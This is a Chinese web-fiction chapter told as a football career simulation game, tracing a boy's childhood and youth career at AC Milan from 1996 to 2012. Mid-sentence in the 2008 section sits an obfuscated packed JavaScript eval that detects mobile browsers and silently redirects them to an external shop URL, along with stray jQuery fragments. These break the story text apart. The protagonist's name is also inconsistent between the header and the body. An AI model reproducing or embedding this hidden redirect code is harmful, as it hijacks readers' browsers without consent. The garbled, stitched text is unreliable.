【人物介绍】

    姓名:埃利奥·拉内利

    身高:179cm

    国家队:意大利

    “滴——

    欢迎你来到足坛生涯模拟游戏,

    请抽取你的初始词条”

    “恭喜你,

    抽到特性——红黑魂,双逆足,气氛组”

    请开始你的游戏

    ——

    1996年

    米兰下着一场不大不小的雨,那种会下很久、让整个城市都湿透的雨。父亲赶到医院的时候,球衣还没换,红黑间条衫上沾着草渍和泥点。护士多看了他两眼——不是因为他有名,而是因为凌晨两点还有人穿着球衣出现在产科走廊,这件事本身就够奇怪的。你被裹进一条AC米兰的纪念毯里,哭声嘹亮,好像等不及要告诉这个世界你是谁。

    1998年· 2岁

    家中客厅铺着地毯,你蹒跚着追逐一只滚动的网球。父亲坐在沙发上,用脚尖轻轻把球拨开,你又摇摇晃晃追过去。他把你抱起来举高,说了句你听不懂的话——后来母亲告诉你,他说的是“又是一个防守的料”。

    2000年· 4岁

    第一次走进AC米兰的更衣室过道,你牵着父亲的手,眼睛却一直盯着墙上那些泛黄的照片。科斯塔库塔蹲下来,把一颗迷你足球塞到你手里,问你长大后想踢什么位置。你想都没想:“我要把球抢过来,然后传给爸爸。”更衣室里笑成一片。

    2002年· 6岁

    父亲带你去维斯马拉训练基地。你在场边看一线队训练,舍甫琴科踢飞了一个球,球滚到你脚下。你一脚踢回去,歪歪扭扭地砸中了因扎吉的小腿。因扎吉假装痛苦倒地,然后爬起来朝你竖了个大拇指。那天晚上,你抱着那颗被签满名字的球睡着的。

    2003年· 7岁

    你正式进入AC米兰青训营。第一次穿上红黑剑条衫,胸前还没有姓氏,只有号码。第一堂训练课,教练让你和一帮大两岁的孩子对抗。你被撞倒三次,爬起来三次。第四次你把球断下,护在身前,那个大孩子用肩膀顶你,你没动。教练吹哨后走过来,拍了拍你后背:“这小子的骨头是铁打的。”

    2006年· 10岁

    青训营里开始有人叫你“马尔蒂尼家的小少爷”,语气里有羡慕也有酸味。一次队内分组赛,你被对方前锋故意踩了脚踝,对方赛后还笑嘻嘻说“跟贵族踢球就是不一样”。你没还嘴,第二回合对抗中,你用干净的铲球把他脚下的球留在了边线,站起来的时候伸手拉了他一把。赛后那个男孩主动来道歉。助教在旁边跟人说:“这孩子比他爸还会处理这种事。”

    2008年· 12岁

    你开始踢防守型中场的位置,不再固守后卫线。教练说你阅

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588606|205385||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    读比赛的能力超出同龄人一截,总是能提前站住传球线路。父亲偶尔来看训练,从不当场指导,回家后在餐桌上只问一句:“今天开心吗?”有一次你输了一场三角赛,闷头不说话。他等了十分钟才开口:“马尔蒂尼家的人,可以输,但不能输掉说话的勇气。”第二天你去找队友复盘,把丢球的原因聊透了。

    2010年· 14岁

    入选意大利U15少年队,第一次身披蓝衣。集训期间,有两个来自不同俱乐部青训的球员因为战术分歧吵起来,互不退让。你没站队,而是在晚饭时把自己的甜点分给他们两个,说了句“反正教练最后说了算,不如先想想怎么赢球”。那两人愣了几秒,然后笑了。后来的比赛你们三人在中场配合默契,U15教练在报告里写了一句话:“马蒂亚·马尔蒂尼是一支球队最想要的那种队友。”

    2012年· 16岁

    AC米兰青年队拿到全国冠军,你是场上队长。决赛中你被撞破眉骨,血顺着脸颊流下来,队医要你下场,你摇头说“缝一下就行”。在场边站着缝了两针,重新跑回场内。加时赛最后五分钟,你在禁区前沿用身体挡住对方一记重炮,皮球闷在肋骨上,你弯了一下腰,然后把球传了出去。终场哨响后,你才坐在草地上大口喘气。第二天米兰体育报的小豆腐块文章里有这么一句:“那个姓马尔蒂尼的少年,让人想起二十年前。”